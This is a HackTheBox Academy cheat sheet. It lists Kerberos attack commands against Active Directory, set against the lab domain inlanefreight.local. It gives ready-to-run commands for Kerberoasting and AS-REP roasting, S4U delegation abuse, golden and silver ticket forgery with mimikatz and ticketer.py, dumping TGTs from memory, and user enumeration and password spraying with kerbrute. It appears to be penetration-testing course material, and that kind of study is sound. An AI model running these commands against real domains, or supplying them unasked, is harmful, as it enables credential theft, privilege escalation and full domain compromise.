HACKTHEBOX

KERBEROS ATTACKS
CHEAT SHEET

Command	Description
`Invoke-Kerberoast`	Get Kerberoastable accounts & hashes on Windows
`GetUserSPNs.py inlanefreight.local/pixis`	Get Kerberoastable accounts & hashes on Linux
`Get-DomainUser -UACFilter DONT_REQ_PREAUTH`	Get AS-Rep roastable accounts & hashes on Windows
`GetNPUsers.py inlanefreight.local/pixis`	Get AS-Rep roastable accounts & hashes on Linux
`Rubeus.exe monitor /interval:5`	Monitor TGT copies in TGS every 5 secondes (Unconstrained Delegation)
`Rubeus.exe asktgs /ticket:<b64 ticket> /service:<SPN> /ptt`	Get a TGS using a TGT
`Rubeus.exe renew /ticket:<b64 ticket> /ptt`	Renew a TGT and pass it in memory
`Get-DomainComputer -TrustedToAuth`	Get service accounts with constrained delegation on Windows

Command	Description
`Rubeus.exe s4u /impersonateuser:<User> /msdsspn<SPN> /altservice:<SRV> /user:<USR> /rc4:<NT Hash> /ptt`	Perform a S4U2* attack on Windows
`findDelegation.py inlanefreight.local/pixis`	Get service accounts with delegation on Linux
`getST.py -spn <SPN> -hashes :<NT Hash> 'domain/user' -impersonate <user>`	Perform a S4U2* attack on Linux
`mimikatz # kerberos::golden /domain:<domain> /user:<user> /sid:<Domain SID> /rc4:<krbtgt NT hash> /ptt`	Forge a golden ticket on Windows
`ticketer.py -nthash <krbtgt NT hash> -domain-sid :<Domain SID> -domain <domain> <user>`	Forge a golden ticket on Linux
`mimikatz # kerberos::golden /domain:inlanefreight.local /user:<user> /sid:<Domain SID> /rc4: <Service account NT hash> /target:<target service account> /service:<service> /ptt`	Forge a silver ticket on Windows
`ticketer.py -nthash <Service account NT hash> -domain-sid <Domain SID> -domain <domain> -spn <SPN> <User>`	Forge a silver ticket on Linux
`Rubeus.exe dump /luid:0x89275d /service:krbtgt`	Dumps TGT in memory
`kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local`	Enumerate user accounts via Kerberos
`kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local`	Password spraying via TGT request

HTB ACADEMY CHEATSHEET